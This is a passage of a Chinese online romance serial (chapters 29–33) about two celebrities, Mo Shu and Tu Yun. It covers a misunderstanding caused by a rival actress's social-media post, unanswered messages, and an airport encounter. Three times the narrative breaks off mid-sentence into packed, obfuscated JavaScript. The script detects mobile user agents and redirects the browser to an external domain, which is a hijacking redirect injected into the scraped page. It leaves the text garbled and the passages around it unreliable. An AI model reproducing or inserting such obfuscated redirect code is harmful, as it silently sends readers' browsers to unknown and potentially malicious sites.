吃了洗脑包的唯粉们纷纷冲到林婉婉的微博下面，或者在粉丝群里问到底是怎么回事？甚至还有情绪激动的粉丝给莫殊P黑照黑图，大骂其是渣男。明明还在追婉婉，却和涂韵鬼混在了一起。 所以今天早上，林婉婉干脆发了条隐晦的微博进行回应。 表面上看着是平常的分享生活，但只要关注过这件事的人都能看出来，文字背后的深意。 “简直是胡说八道。”莫殊低声骂了句，声音里带着压抑不住的怒意，停留在屏幕上的指尖因为情绪激动而微微颤抖着。 他又想到涂韵昨晚受委屈默默流泪的样子，顿时咬紧了后槽牙，本来还好好的心情顿时就沉了下来。 别以为他不知道，黑热搜是谁在背地里搞鬼。现在，“罪魁祸首”又冒出来作妖。 莫殊口罩下原本还算柔和的下颌线条此刻也冷硬得有些吓人。要是……涂韵早上起来的时候，看见了林婉婉说的话，万一误会了他怎么办？ 他想到，昨晚他还没有告诉涂韵，他已经喜欢涂韵十几年了。那个他青春时候喜欢的女孩，正是涂韵啊！ 他好像总是找不到机会告诉涂韵这件事，而且不知为何，每当他想聊起这件事的时候，涂韵总是不想听的样子。 莫殊在心里叹了口气，他和涂韵两个人才刚刚在一起，他不希望因为林婉婉这种人，而产生隔阂。 陈霖默默第观察着莫殊铁青的脸色，感觉连周围的空气温度都降了几度。 催促登机的提示音已经响起了好几遍，陈霖终于忍不住出声提示道：“莫哥……要登机了。” 莫殊猛地站起身 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涂韵的心里掠过一丝细微的空落落，莫殊……已经走了？ 涂韵伸手，摸过床头柜上的手机。 刚按亮屏幕，就弹出了消息提示，最顶端就是莫殊一个小时前发来的消息。 涂韵的指尖顿了顿，心里先泛起一丝莫名的害羞。 明明每天都是互道早安，但今天的“早安”后面带着的那句话，却让她格外地在意。 昨天……明明是两个人一起睡的，睡没睡好，他不知道吗？ “烦人。”涂韵小声嘀咕着。 她不知道该怎么回，干脆就不回了。涂韵点开微信，接着往下滑，下面就是苏小桃发的消息。 昨天在莫殊突然来之前，她一直在和苏小桃聊天。 苏小桃说，原本因为剧播完，成绩很不错，有好几个品牌方和综艺都想和涂韵合作，有几个都快敲定了。 但经过昨天的黑热搜，大家都有些动摇，甚至还有个手快的品牌方考虑到舆论影响刚取消了合作。没想到李子珺和其他人就帮忙澄清了，还给涂韵树立了个人好肯吃苦的人设。 苏小桃笑着说，那取消合作的品牌方肠子都要悔青了，又派人过来想谈合作。 苏小桃还安慰道，星耀娱乐目前也在找律师拟律师函，告那些带头造谣的营销号，会告他们名誉权侵权和造谣。 涂韵刚想再聊些什么时，莫殊就打电话过来了。 她只来得及回了苏小桃一句“紧急情况，莫殊来了”，后面就没时间看手机了。 苏小桃前面的消息还是在昨晚，发了好几条60秒的语音过来，都是八卦莫殊来了后，他们两个到底在干什么。 涂韵脸一红，她似乎都能想到，苏小桃说话时八卦中带着坏笑的表情。 涂韵依旧选择不回答，直接忽略掉。 30. 第30章 发合照 而苏小桃最近的一条消息，则是今天早上。 苏小桃说原定有一个综艺的飞行嘉宾定了魏肖和林婉婉，但林婉婉今天早上好像突然发脾气，临时说不去了。所以综艺节目组只能问涂韵有没有时间，能不能来顶一下。 后天就要录制了，节目组好像还挺急的。 苏小桃还不满地抱怨道，怎么每次涂韵都是作为替补去参加综艺的，能不能有个正式点的邀约呀，尤其是这次还是林婉婉的替补。 苏小桃：“我是觉得吧，节目组就是想着剧虽然播到了尾声，但你和魏肖的CP还人气不减。林婉婉不肯来了，这才想到我们，想着拿你和魏肖再炒点话题呢。” “这些节目组就是看咱们比林婉婉好欺负，去不去你自己定吧。” 涂韵笑了笑，回道：“那你帮我答应了吧。” “虽然是林婉婉不去了，我们才去的。可是好歹也是个露脸的机会啊。” 尤其是刚经过黑热搜，涂韵越发觉得在圈内的口碑很是重要。要不然……这次黑热搜，哪会这么容易过去啊？ 要是都像林婉婉一样经常闹脾气罢录什么的，现在大家可能还卖卖大公司的面子，看不出什么影响。但迟早，肯定大家都不想邀她了。 不过……林婉婉怎么又发脾气了？ 涂韵登上微博小号，一下就看见了林婉婉今天新发的微博。 林婉婉……发的这是什么意思？ 涂韵咬着唇，紧紧地盯着手机。那些黑色的字像一张细密的网，将她包裹了起来，裹得她都快不能呼吸了。 涂韵就连呼吸都变得沉重起来，刚刚睡醒还混沌的意识瞬间就清醒了。 涂韵的手心里都出了一层薄汗，只能下意识地把手机攥得更紧。 涂韵转头看向身边，旁边的枕头还残留着莫殊睡过的压痕，只是被窝里的温度随着时间已经趋近冰冷。 涂韵只觉得一阵荒谬又难过。她指尖无意识地抠着被子，棉质的布料揉出了褶皱，就像她此刻乱糟糟的心。 卧室里似乎静得能听到自己的心跳声，每一下都带着慌乱，昨晚和莫殊一起相拥而眠睡觉的记忆好像都已经变得遥远了。 涂韵慢吞吞坐起身，睡衣的衣角蹭过莫殊睡皱的被面，她的目光被床头柜上的杯子吸引了过去。 粉色的马克杯里装满了水，就连杯柄朝向的位置，都对准了她，像是让她好起床的时候方便拿取一样。奇怪，昨天晚上好像杯子是空的啊？ 涂韵伸手去够，发现杯口上凝着一层水汽，杯壁还有一点点残留的温度。 涂韵拿起杯子，发现杯子上还贴着一张便利贴，上面还画着一个笑脸。 【真的不舍得离开你，但是是早就定好的行程，不得不出门工作了。家里开了空调，得多喝水。要是起床，水凉了就别喝了。——莫殊】 涂韵的心跳漏了半拍，手指轻轻地抚过那张笑脸。 冬天家里开了空调，每次醒来喉咙都干得很。饮水机在客厅里，她懒得很，不想离开温暖的被我，就又裹着被子睡过去。等睡够了，她再起床的时候，喉咙都已经干得发疼了。 那时的她从来没想过，会有人把“起床要喝温水”这件小事记在心里，连杯柄的方向都顺着她。 涂韵将便利贴塞进抽屉里，想着等会就放起来，和她的各个“莫殊”藏品放在一起。 涂韵捧着杯子，小口小口地喝着温水。 她起得晚了，水几乎已经没有暖度了，就比凉水好一点。 但是当水流滑过喉咙时，涂韵却觉得暖意从喉咙一直到胃里，甚至把手指尖的微凉都给驱散了。 她小声地说着，“水一点都不凉呢。” * 这边，莫殊刚下飞机，坐上活动方派来的车子前往彩排地点。 坐在一旁的陈霖突然拽了一下莫殊的衣角，然后瞥了眼坐在前面的司机，用气声小声说道：“莫哥，你是和涂韵和好了吗？” 莫殊疑惑地看着陈霖。 和好？什么和好？他们两个本来就没有吵架啊？ 嗯……陈霖心想，还给我装。刚刚在飞机上面无表情像个大冰块似的，坐你旁边感觉温度都降了十度，要冷死了。绝对！是因为林婉婉吵架了！ 陈霖轻轻咳嗽了一声，然后把手机递了过来，眼睛眯着带着点小紧张。他继续小声地说道，像在交流什么秘密情报似的，“给你看个东西。那……她怎么突然发个这个啊？” 莫殊接过手机的动作顿了半秒，心里首先是泛起了一丝微妙的不好的预感。 直到目光落在屏幕上，是涂韵在五分钟前刚发的一条微博。 照片正是那天晚上，他们在涂韵小区里见面时拍的那张，这时他们的第一张合照。 照片里是昏黄的路灯，两个人靠的很近。因为光线不好，照片有些模糊，但是能看出两个人都在很放松自然地笑。莫殊自己都没有发现，这张照片里他的眼神又软又温柔，平日喜欢皱起的眉头都完全抚平了，像是带着一丝藏不住的纵容。 莫殊的指尖轻轻摩挲着屏幕上涂韵的脸，她的嘴角弯起，眼神中有些羞涩。 配文很短，【涂韵今天也要加油鸭V：分享一张和莫老师见面时的合照！】。 在下面还艾特了他。 “她怎么……突然发这个了？”莫殊的眼神顿时就软了下来，点开这张照片一直看。 明明他手机里也有这张照片，甚至他都看了可能有几百次了。 可是当这张照片出现在涂韵的微博里，他就是觉得这张照片变得更好看了一些。 同样是作为艺人，他太明白社交平台的重要性，账号里的每一条都需要带着分寸，发之前都要考虑好发出去之后的反应。 艺人们发的要么几乎就是反复核对过的工作物料，要不就是看不出行程地点的风景照。就算是一张对镜自拍，都要确认再三，以免露出什么私人的痕迹。 莫殊嫌麻烦得很，所以干脆能不发就不发。 昨晚他直接转发了那张诬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他看着涂韵的微博，微博后面还艾特了他。 他在犹豫应该什么时候回呢？涂韵这条微博才发了十分钟不到，现在回复会不会显得他很急切？可是一直不回的话，是不是又会影响到涂韵？ 最重要的是，他要回复什么啊？他心里有一大堆话想说，想说拍这张照片的时候夜色很美，你很好看，想说自己是不是能正大光明地站在你的身边，替你挡开所有风雨和窥探的目光，想说很多很多。 可是他还没有弄清楚涂韵突然发这张照片时的态度，难道……是涂韵要公开他了吗？ 可是莫殊回想起昨晚，他提出是否要公开的时候，涂韵好像没有正面回答。 万一他回复的东西，不是涂韵希望他回复的，他弄巧成拙了怎么办？ 莫殊突然灵光一闪，好像……不太对？ 如果涂韵十分钟前刚发了微博，那不就证明她已经醒了吗！ 可是如果她醒了的话，为什么不回他的微信消息呢？ 莫殊害怕是不是漏看了涂韵的消息，连忙切回微信，点开对话框。 但是对话框里，依旧只有孤零零的他发的“早安”。 31. 第31章 看代餐 莫殊在心里为涂韵的不回复找着借口，可能是涂韵睡醒后玩手机发了条微博后，就放下手机洗漱收拾去了吧，又或者她可能只是还没有看到消息。 因为不确定涂韵的态度是不是要公开，他怕多说多错，再加上车辆已经开到了活动地点，马上要开始彩排了，所以莫殊没有时间再细细思考。他匆匆地给涂韵的微博点了个赞，回了两个送玫瑰花的表情符号，然后切换到微信，给涂韵“汇报”今日行程。 【M：我已经下飞机到工作地点啦，马上要开始工作了，等晚上工作完再聊。】 【M：记得要好好吃饭。】 发完之后，他就将手机交给陈霖保管，抓紧时间熟悉手稿和走位，就投身进彩排中。 这是一个宣传中国传统文化的活动，今天彩排，明天直播，争分夺秒的。 再加上这个活动不仅邀请了莫殊，还邀请了其他圈内颇有地位的艺人，所以容不得半点差错。 莫殊连续七八个小时都在一直说话，对着手稿练习。 彩排结束，他从台上下来时，才发现自己的喉咙已经干得发紧了。 连喝水都没时间了，更别提看一眼手机了。接近晚上十点钟的时候，莫殊才吃了他今天的第二餐饭，是节目组准备好的盒饭。 盒饭已经凉了，肉汁凝固成透明的黄色，凉透了的米饭像小石头一样硬，色香味全无，只能用来维持生命体征。莫殊扒拉了几口就放下了筷子，这顿饭比他今天的第一顿饭——飞机餐还要难吃。 陈霖问要不要再去给他买一份吃的，莫殊摇了摇头，“这么晚就不吃了吧，还是早点休息吧。” 晚上十一点半，莫殊洗完澡，擦着半干的头发从浴室里走了出来 他走到酒店房间的落地窗前，拉开窗帘。 夜色像浸了水的棉絮，沉沉地压在这座城市上。窗外灯火通明，莫殊却无心欣赏，他看向手中的手机，只觉得自己的心也像这夜色一样沉。 手机通知栏里干净得刺眼，没有任何的消息提示。 莫殊点开和涂韵的对话框，指尖反复刷新着微信界面，他发的“好好吃饭”的消息还停留在页面中间。 “不会是把我删了吧？”莫殊低声嘀咕着。但是为什么要删他？ 他点开涂韵的朋友圈，是一片空白，涂韵设置了“朋友圈三天可见”。 经过上次被删除好友，他已经有经验了。知道如果被删的话，朋友圈里应该只会显示一条横线，而不会有下面的字。 莫殊抿了抿唇，他试着敲下：“睡了吗？” 没有红色感叹号，但依旧是没人回。已经一天没人回了。 莫殊的心沉了沉，难道是手机坏了？他记得他彩排的时候，手机给陈霖保管了，难道是陈霖摔了一跤把手机什么地方摔到了吗？ 莫殊攥着手机，走到床边，用酒店的电话拨了陈霖的房间，语气里带着自己都没察觉的慌：“陈霖，你睡了没？发条微信给我试试，我这手机好像出问题了，收不到消息。” 电话那头传来细细簌簌面料摩擦的声音，应该是陈霖刚睡下没多久，躺在床上翻了个身，“怎么会坏啊？哥，我半小时前不还给你发了后天返程的机票信息吗？你那时候不还说你看见了吗？” 陈霖顿了顿，又补了句，“莫哥，不会是涂韵没回你今天的消息吧？不是，你难道怀疑你手机坏了，你都不怀疑一下涂韵生你气了吗？” 他都要被莫殊的迟钝给气醒了，这两个人谈恋爱前，他忙着解决莫殊的“手机问题”，怎么谈恋爱后，还是“手机的老问题”？ 莫殊深深地叹了口气，“其实我……我有怀疑。但是我不知道她为什么生气了。” 难道是因为两个人刚在一起，他就今天一大早起床丢下涂韵，她生气了吗？ 也许是他心里面知道这样做不对，所以他在逃避着，宁愿将问题归结到手机坏了。 “哥，是不是因为林婉婉啊？”陈霖的声音透过听筒传来，“今天早上不是林婉婉刚发了微博之后，涂韵就发了你们两个的合照吗？是不是她误会什么了？” 听到这里，莫殊猛地就坐直了身子。 有可能！而且他想起，他第一次和涂韵打电话聊通宵的时候，涂韵还问他，是不是要和林婉婉拍戏了。他当时还以为涂韵只是好奇，没往心里去。 可听陈霖说完，这些小事就像散了的拼图一样，拼了起来。 莫殊终于后知后觉起来，涂韵也许……是吃醋了。 但涂韵不是那种会直白闹脾气的人，她只是用沉默来代替不满。莫殊在心里唾弃着自己，怎么现在才想起来。 莫殊：“今天上午，不是让你联系时代娱乐的人了吗？他们公司怎么说？” 陈霖咳嗽了一声，“我去问了。但他们说……艺人的微博，他们管不了。” 陈霖补充道：“哥，也有可能她不是生气了，就像你一样，单纯的在忙而已。要不然你先睡，明天活动结束后再看看？” 莫殊没再接话，陈霖已经迅速地将电话挂了。 莫殊的耳边传来嘟嘟嘟的电话提示声。他抿着唇，眼底慌乱又无措。 他告诉自己陈霖说得对，现在睡觉才是第一大事，明天还有工作呢。 可是，他自然是睡不着的。 莫殊在床上翻来覆去了好久，拿起手机一看，发现已经凌晨一点了，涂韵依旧没有回复他的消息。 要不要……先解释一下？ 但是现在这么晚了，万一她已经睡了，他再发消息过去，把她吵醒了怎么办？ 莫殊的手指一直摩挲着手机屏幕，手指在微信的图标上徘徊着，最后手指往下移了一下，点开了和微信一样绿的绿江江小说APP。 香香软软的女朋友不理他了，莫殊只能看下小说里的“代餐”满足一下自己。 他点开一直追更的小说《星光灿烂》，小说作者今天上午还更新了一章最新章。 莫殊坐起来了一些，他蜷在被窝里，后背抵着床头，慢慢看了起来。 《星光灿烂》里的莫殊和涂韵的感情戏发展得格外顺利，比这个作者的第一本文还要甜得多。 尤其是今天上午更新的那一个章节，没有狗血的误会，没有拧巴的拉扯，男女主的感情直接来了个大飞跃，在短短的几千字里面告白接吻一条龙。 莫殊的指尖悬在屏幕上方，半天没舍得划动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490363|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他一个字一个字地仔细看着作者描述的接吻那一段，呼吸都下意识地放轻了。 天啊，这个作者也太会写了吧！ 莫殊以前听说什么好的小说会让你身临其境时，他还觉得不以为然。 可是看着最新的这一段，看见自己的名字在小说里成为主人公，他就觉得甜味顺着文字直往心里面钻，连握着手机的指尖都泛起了温软的麻意。 当读到男主捧着女主的脸，吻落了下去的时候，莫殊忍不住地抬手摸了摸自己的耳朵，都已经有些发烫了。现在没有镜子，但他估计自己的耳朵肯定红到滴血。 他好像又被小说里的文字，带到了昨晚，他和涂韵接吻时候的羞怯。 那些藏在文字里的小细节，比如描写涂韵低头时垂落的发梢，描写她害羞的泛着红晕的脸，都和当时的莫殊看见的一模一样，他甚至都能清晰地回忆起当时两人的模样。 最新的一章，莫殊来来回回地划着手机屏幕读了三遍。他读的时候，他也在想，昨晚接吻的时候，涂韵的心声就和小说里的写的一样甜一样可爱吗？ 如果不是这该死的行程，他简直想立刻冲到涂韵的身边，一把将她抱起藏进自己的怀里。 他好像也在跟着小说里，沉浸在自己的回忆中，那些焦躁和烦闷，全被这满章的甜意都冲得一干二净，只剩下满心的雀跃。 莫殊往后一仰，重重靠在枕头上，长长舒了口气，胸口因激动而微微起伏。 他点开下面的评论区，手指在手机屏幕上“哒哒”敲着，尽量让自己的语气显得萌一点，伪装成一个小读者：“作者大大，这章甜到我心里了。期待接下来的剧情。” 打完又觉得不够，莫殊又退回到评论区，看其他书迷的评论。 果然，大家和他的反应一样，都纷纷喊着好甜。 【花非花：啊啊啊甜到我在沙发上打滚！】 【云木清歌：我要告诉全宇宙，我磕的两个人亲了亲了！（虽然是在小说里，有本事这两个人在我面前嘴一个）】 【栖山野：天啊，这章的吻也太会写了吧！我看完都想谈恋爱了！】 【在下猫猫雨：感觉作者大大这本比上一本的甜度还要爆表！尤其是吻戏里的那些心理描写，写得太好了！作者大大不会……谈恋爱了吧？】 【……】 作者殊途同归回复了读者“在下猫猫雨”：哈哈哈哈有这么明显吗？对了借楼说一句，这两天有工作要忙，请三天假。 看底下的书评也很有意思，尤其是看到自己的名字和涂韵的名字挨在一起，并且有这么多的人在支持着喜欢着他们，莫殊的嘴角就没有下来过。 把最新一章的评论区翻完，都已经快两点了。 莫殊放下手机，重新躺回进被窝里，却依旧翻来覆去睡不着觉。 如果说看小说之前睡不着是因为涂韵不回复他的烦闷和不知所措，那看完小说之后睡不着则完全是因为回忆起和涂韵接吻那一刻带来的温柔与心动。 小小的房间酒店里，似乎连空气里都飘着甜。 最后莫殊自己都不知道自己是怎么睡着的，只知道早上一大早陈霖就过来敲门把他吵醒了。 32. 第32章 偶遇了 陈霖进门的时候，还神秘兮兮地问他：“莫哥，涂韵还没回你吗？不会是她还没起吧？” 莫殊正对着镜子整理自己的头发，闻言瞥了他一眼，淡淡地说道：“我看你是闲得很。” “那你帮我再去问问，涂韵这两天有没有行程，然后帮我把明天的机票改成飞沪川的。” 说完，莫殊又补充道：“对了，问的时候不要太明显，免得让别人误会我和涂韵的关系。”嗯……因为涂韵还没答应他要公开呢。莫殊在心里琢磨着，等明天见面的时候，得好好问问涂韵这个问题。 要是涂韵一直不肯公开的话，他……可怎么办啊？以涂韵拍戏时的演技和敬业，万一以后她拍一部戏，就多一个热门CP怎么办啊？那他们的“殊途同归”不是就没人支持了吗！ 莫殊他想要的是正大光明地站在涂韵的旁边，他想向所有人宣告，涂韵是他的女朋友。 陈霖有些惊讶地问道：“什么？哥？你又飞沪川？不回北城了吗？” 莫殊出道十年，但一直还没有买房。因为北城是首都，加上交通方便工作机会比较多，所以莫殊是在北城租房住的。平日没有行程的话，莫殊一般就待在自己家里，很少会出去玩什么的。 但自从认识涂韵以来，莫殊都已经飞了好多次沪川了，完全和他平时大门不出二门不入的状态相反，所以陈霖才感觉惊讶。 莫殊抬头看了一眼陈霖，“对。你可以不用去，这是……我私人行程。” 听到这句话，陈霖这才笑了起来，他等的就是他不用飞沪川这句！ 陈霖：“好嘞，莫哥，我这就去问。” * 上午是试妆造，及最后的快速彩排一次。 下午是活动正式开始。 到了晚上九点，活动才正式结束。 莫殊从台上下来，来到后台，连妆都还没有卸，问陈霖的第一件事就是涂韵回他了没有。 陈霖咬了咬唇，将莫殊的手机递给莫殊，低声说道：”还是没有回，一直没有消息提示。” 莫殊眼底里全是不可置信，他攥紧手机，点开微信确认。 置顶的对话框里依旧只有他自己发的信息，涂韵已经两天没有回他的信息了。 涂韵一定很生气，或者说……对他感到失望了吗？ 莫殊的脑子里全是涂韵可能会有的表情——她是委屈地红了眼眶，还是皱着眉把手机扔到一边，做自己的事情？ 莫殊又问道，声音里还带着急切：“那你有问到，涂韵这两天有什么行程吗？她是在忙吗？” 陈霖叹了口气，面露难色，“我有去联系涂韵的经纪人苏小桃，但是她不肯告诉我。” 莫殊的心“咯噔”一下，瞬间沉到了底。他问：“为什么？苏小桃那边是什么态度？” “我说了，我说涂韵这两天没和莫哥联系，莫哥这两天跟丢了魂似的，连工作都没心思，”陈霖顿了顿，像是在回忆苏小桃的话，“她就在电话里笑，笑完之后就说，涂韵现在好着呢，不用……你担心。还说涂韵的行程，关你什么事之类的话。” “莫哥，苏小桃把话堵得死死的，真打听不出来什么。我还联系了他们公司其他我认识的，也不知道是不是苏小桃统一交代过，反正都说不清楚不知道。”陈霖的声音透着股“我尽力了”的无奈。 莫殊的心又是一沉，肩膀几不可察地垮了下来。他抿紧唇瓣，双手十指相扣放在膝盖上，指尖不安地摩挲着。 他知道，苏小桃不仅是涂韵的经纪人，更是涂韵的闺蜜，他以前就见过苏小桃和涂韵两个人高中时候一起放学回家。 既然苏小桃都这么说了，是不是……说明涂韵真的很生气？ 莫殊自嘲地笑了笑，他与其这样费尽心机打听她的行程，不如好好想想怎么把那些让她吃醋的小事给解释清楚。虽然他自己心里清楚，他和林婉婉没有一点关系，但是林婉婉一而再再而三地说那些模棱两可的话，连陆泽都被她骗了，更不要说涂韵了。 他这次一定要说清楚说明白，他喜欢她……真的很喜欢。他要让涂韵的心里有充足的安全感。 他要用最实在的方式，让涂韵消气。在心里暗暗下定了决心，莫殊抬头问陈霖，“那机票帮我改了吗？” 陈霖点头，“我重买了，莫哥，我现在把机票信息截图发你。明天十一点飞沪川的飞机，两个小时到。” 莫殊的眉心因为焦虑都拧成了一个“川”字型，他问道：“还能改到更早的吗？今天晚上的有没有？”他现在非常地想见到涂韵，非常。 陈霖点开手机，重新看了下目前的航班行程，说道：“今天晚上已经没有飞沪川的飞机了，明天早上九点是最早的时间了，但是……是廉航。” 廉价航空可以说是空中的绿皮火车，几乎没有设置头等舱商务舱，可能也就前面几排会位置宽敞一些。但再宽敞，也就和普通航空的经济舱位置差不多。 像莫殊个子比较高，腿比较长的话，窝在那小小的位置里两小时肯定很不舒服。 而且那飞机上还会推销，连让人安稳睡上个两小时都做不到。 莫殊没有丝毫犹豫地说道：“廉航又怎么呢？帮我改成九点的飞机。” 他早一点到沪川，就能早一点见到涂韵，早一点让涂韵不用那么生气。 * 因为机票订晚了，陈霖只来得及给莫殊订了第二排的位置。 坐在廉航的机舱里，就像坐进了一只密不透风的铁皮罐头，莫殊觉得机舱里的人好像都变成了沙丁鱼，拥挤着排在一起，跟着罐头摇晃颠簸着。 前排的男人把座椅调到了最靠后，几乎要贴到了他的膝盖，莫殊只能将他的腿伸到了过道处，来换取一点点的空间。面料摩擦的声响混着周围孩子的哭闹声，让莫殊回忆起以前坐绿皮火车时的情景。 或者绿皮火车还好一点，毕竟坐到屁股痛的时候，还能站起来走走。他在飞机上，总不能解开安全带在过道里走吧。 莫殊闭着眼睛靠在座椅靠背上，黑色的口罩遮挡住了他疲惫的脸。 莫殊的指尖无意识地摩梭着手机背面，他今天早上也发了“早安”给涂韵，但涂韵依旧什么也没有回。 距离他们的上一次对话，已经……是三天前了。 尤其是涂韵不回复他，却还在微博里发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490364|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两个人的合照，更让他感到心慌。 他又想起陈霖问她，涂韵要是还在气头上，去她家找她的话，不肯给他怎么办。 莫殊只是斜他一眼，没有回答。 但他心里想的是，不管涂韵是不是还在生气，不管她会不会给他开门，他都一定要去的，就站在那儿一遍遍地跟她说，他有多怕失去她。 飞机穿梭在厚重的云层中，偶尔颠簸一下，但推着小推车推销东西的空乘人员们像是习以为常，连声音都不带抖几下的。 莫殊打开手机里离线的航班信息，估计着预计的到达时间，每一分每一秒都过得格外煎熬。 不知过了多久，飞机慢慢地开始下降，窗外的云层渐渐散开，能看到地面上蚂蚁般大的建筑。 随着一声轻微的震动，机身终于平稳地落在跑道上，然后快速地移动着。 莫殊抓起放在脚边的包，他几乎是在安全带指示灯熄灭的瞬间，就解开了安全带，快步朝着舱门走去。 那些飞机上的闷热、拥挤和颠簸，在此刻都变得无关紧要。 他只需要朝着那个他唯一想要奔赴的人，拼命跑去。 沪川机场作为大机场，每一个时刻都有许多航班到达。机场到达大厅的人流像是涨潮了的海水，在那个时间点一股脑地全涌了出来。 VIP通道口外围着不少人和代拍，在玻璃门外举着相机晃动着。 不时地有闪光灯亮起，刺得人眼睛发疼。 行李箱滚轮在地上摩擦的声音有些刺耳，估计又有哪个小艺人的航班到了吧。 莫殊低下头看了眼手机时间，加大步伐，想着走快点，绕过外面围着的人群。 接近通道口的时候，莫殊听见了有人在喊“涂韵”的名字。 莫殊的心猛地一跳，下意识地朝着身后望去。 身后有很多的人，但莫殊还是一眼就认出来了，戴着口罩的涂韵。 他的目光略过摇晃着的人头，看向她。好像上帝格外地偏爱她，将所有的光都聚集在了她的身上。 涂韵穿着件牛仔外套，背着一个米色的帆布包，长发随意地披散在肩上。 涂韵的眼睛笑得完成了月牙，正侧头听着身边的男人讲话。 莫殊没有想到，他竟然在沪川机场偶遇了涂韵。 可是她的旁边，还有魏肖。 苏小桃和另一个男人，应该是魏肖的助理，两个人走得比他们两个要靠前一些，手里拉着行李箱。 而涂韵和魏肖两人并肩走着，像极了默契的情侣，周围还有喜欢他们的粉丝不停地拍照，隔着玻璃门，莫殊都听见了他们在喊“好甜啊”“两个人好配！” 涂韵……为什么会和魏肖走在一起？看样子他们两个是同一个航班？ 莫殊想起自己出发前还担心着去找涂韵，涂韵会拒绝见他不给他开门，可是现在才发现，或许她根本就没空在意他的到来。 好像总是这样，他只是一个涂韵生活的闯入者。 是她，接纳了他，容许了他的闯入，否则他将永远是一个陌生人。 喉结不自觉地滚动了一下，莫殊下意识地站住了。 33. 第33章 哭哭了 “前面的，让一让啊。”莫殊停住脚步，立马就被身后的人流给推着往前走。 莫殊咬了咬牙，他伸手将脸上的口罩带得更严实一些，往旁边让了让，然后放慢了脚步。 等到涂韵和魏肖走到他身前的时候，他才小心翼翼地跟上。 魏肖微微低头，一脸温和地看着涂韵，似乎在说什么有趣的事，逗得涂韵仰头笑了起来。两人之前也就一个手掌的距离，小声地聊着天看起来自然又亲密。 突然——莫殊看见魏肖抬手伸向了涂韵的脸庞，指了一指她旁边的一缕碎发。 莫殊倒吸了一口凉气，他恨自己的视力太过于好，他清楚地看见魏肖的手指几乎就要碰到涂韵的脸。他怀疑如果不是周围的人太多了的话，魏肖可能已经帮忙给她拂上去了。 涂韵没有躲开，只是随手将那缕头发拨到了耳后，便又继续听对方说话，还时不时地点点头。两人之前也就一个手掌的距离，小声地聊着天看起来自然又亲密。 莫殊抿了抿唇，低下头边走路边看自己的脚尖。他的胸腔里又酸又涩，错过了涂韵转头看向他的眼神。 而通道门外的粉丝还是依旧躁动着，呼喊声隔着玻璃传进来，“魏肖！啊啊啊啊！”“涂韵！姐姐今天好漂亮！”“啊啊啊啊你们两个好配啊！”此起彼伏的，就像钝刀子一点一点地扎进莫殊的心里。 涂韵和魏肖没有停留，而是快步朝着停车场的方向走。 快走到出口处，魏肖先和助理上了来接送的车子上，上去的时候还不忘转头热情地朝着涂韵挥手。 涂韵站在原地，笑着和他说下次再见。 莫殊躲在拐角处，偷看着他们，手里紧紧地攥着包带，指尖都有些泛白。 明明已经过去十几年了，他却觉得自己好像一直困在十七岁的那年，从没有逃离过。 即使他拍了七八部电影，手握两座影帝奖杯，即使他有着几千万微博粉丝，手握多个高奢代言，可他觉得他还是那个胆怯的，贫穷的，从乡下小城市来到沪川的那个脏兮兮的小孩。 他可能比那个时候的自己要高，要干净，要有钱，但他的心却还是卑微到了尘埃里，他依旧只敢偷偷地躲在暗处像一只在下水道里的阴暗老鼠，偷窥着不属于他的世界。 涂韵一直站在原地，看见魏肖的车已经只剩下个车屁股了，她才转身往右边走去。 那边是一个卫生间。 莫殊深吸一口气，跟了上去。 苏小桃站在厕所门口，正在打电话，好像是在问来接的车子大概还需要多久到。 她抬头看见莫殊的时候，顿时就睁大了眼睛，用嘴型问他，“你怎么在这？” 莫殊伸手比了个十字，意思是给他十分钟就好。 这时，苏小桃已经把电话挂断。她朝着莫殊皱了皱眉，脸上满是对闺蜜男人的不满，她刚想开口说话，涂韵就从卫生间里走了出来。 莫殊往前一步，抓住了涂韵的胳膊，却在看到涂韵冷淡无波的眼神后，硬生生地停住了。 莫殊的双手紧张地垂在身侧，一只手紧紧地拿着包，另一只手则握成了拳头，手指甲一直抠着掌心。他说，“涂韵，韵韵，你……为什么一直不回我消息？是生气了吗？我知道现在不是合适的时机……但是能给我一些时间让我解释吗？” 涂韵别过脸，和苏小桃对视了一眼。 因为角度原因，所以莫殊没看见涂韵对着苏小桃眨了眨眼，他还沉浸在让涂韵生气的责怪自己当中。 等涂韵再转过来时，眼底还带着一丝未消的倦意。她背倚在墙上，双手交叉，语气淡淡地说道：“可以。但是……被人拍到了怎么办？要是被拍到，又要惹出一堆麻烦。” 虽然这里是VIP通道，之前航班的人都走得差不多了，现在这里几乎都没人在走了。 但是难保下一趟航班马上就要到了。 莫殊第一次听到涂韵的语气这么冷淡，表面上他只是垂了垂眼，实际上心里面都快急哭了。 他往四周看了下，拉着涂韵进了卫生间旁边的母婴室。 门刚一关上，莫殊就猛地抱住了涂韵的腰，将她抵在了门上。 莫殊的一只手撑在涂韵的头顶，将她圈在了他的怀里。 另一只手则从涂韵的腰间慢慢往上移动着，他的动作小心翼翼，只用指尖触摸着，温柔得像是在抚弄一架昂贵的钢琴。 